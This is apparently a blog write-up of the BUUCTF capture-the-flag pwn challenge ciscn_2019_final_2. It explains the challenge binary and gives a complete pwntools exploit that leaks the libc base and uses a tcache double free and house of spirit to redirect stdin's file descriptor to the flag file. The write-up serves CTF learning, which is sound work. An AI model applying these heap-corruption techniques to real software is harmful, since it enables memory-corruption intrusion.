[BUUCTF]PWN——ciscn_2019_final_2

ciscn_2019_final_2

annex

step

  1. Routine inspection, 64-bit program, full protection
    Insert picture description here

  2. There is no flag file locally, connect remotely, classic stacking menu
    Insert picture description here

  3. 64-bit ida loads
    Insert picture description here
    init()
    Insert picture description hereallocate(), you can only apply for 0x20 or 0x10 chunk
    Insert picture description here
    delete()
    Insert picture description here
    show(), show can only call
    Insert picture description here
    bye_bye 3 times
    Insert picture description here

The key point of this question is the knowledge of file stream
dup2 is used to copy file descriptors: int dup2 (int oldfd,int newfd)
_fileno is used to specify the file stream pointed to by fd, init() changes the fd of flag to 666, so we just need to find a way to change the _fileno of stdin to 666, so that scanf will input the content of fd == 666 (flag) into & v0, and then we can output the content of flag

I created the flag file, but I still can't run the attachment locally, so I can't debug and see the distribution of the heap, so I directly refer to the practice of master pwnki .

  1. Allocate enough tcachebin to merge it into the unorted bin.
  2. The base address of libc is leaked through the fd pointer of unsorted bin, and the address of fileno is calculated.
  3. Use double free and house of spirit techniques to change the fileno of stdin to 666, so that data will be read from the flag file during scanf.
  4. Trigger the leave function and print the flag.

exp

 from pwn import *
 
#p=remote('node3.buuoj.cn',28321)
p=process('./ciscn_final_2')

elf = ELF('./ciscn_final_2')
libc = ELF('./libc-2.27.so')
 
def add(add_type, add_num):
    p.sendlineafter('which command?\n> ','1')
    p.sendlineafter('TYPE:\n1: int\n2: short int\n>', str(add_type))
    p.sendafter('your inode number:', str(add_num))
 
def remove(remove_type):
    p.sendlineafter('which command?\n> ', '2')
    p.sendlineafter('TYPE:\n1: int\n2: short int\n>', str(remove_type))
 
def show(show_type):
    p.sendlineafter('which command?\n> ', '3')
    p.sendlineafter('TYPE:\n1: int\n2: short int\n>', str(show_type))
    if show_type == 1:
        p.recvuntil('your int type inode number :')
    elif show_type == 2:
        p.recvuntil('your short type inode number :')
    return int(p.recvuntil('\n', drop=True))
 
add(1,0x30)
remove(1)
add(2,0x20)
add(2,0x20)
add(2,0x20)
add(2,0x20)
remove(2)

add(1,0x30)
remove(2)
#gdb.attach(p)

addr_chunk0_prev_size = show(2) - 0xa0
add(2, addr_chunk0_prev_size)
add(2, addr_chunk0_prev_size)
add(2, 0x91)
 
for i in range(0, 7):
    remove(1)
    add(2, 0x20)
remove(1)
 
addr_main_arena = show(1) - 96
libcbase = addr_main_arena - libc.sym['__malloc_hook'] - 0x10
addr__IO_2_1_stdin__fileno = libcbase + libc.sym['_IO_2_1_stdin_'] + 0x70
 
add(1, addr__IO_2_1_stdin__fileno)
add(1, 0x30) 
remove(1)
add(2, 0x20)
remove(1)
addr_chunk0_fd = show(1) - 0x30
add(1, addr_chunk0_fd)
add(1, addr_chunk0_fd)
add(1, 111)
add(1, 666)
 
p.sendlineafter('which command?\n> ', '4')
p.recvuntil('your message :')
 
p.interactive()

Insert picture description here

Guess you like

Origin blog.csdn.net/mcmuyanga/article/details/114632716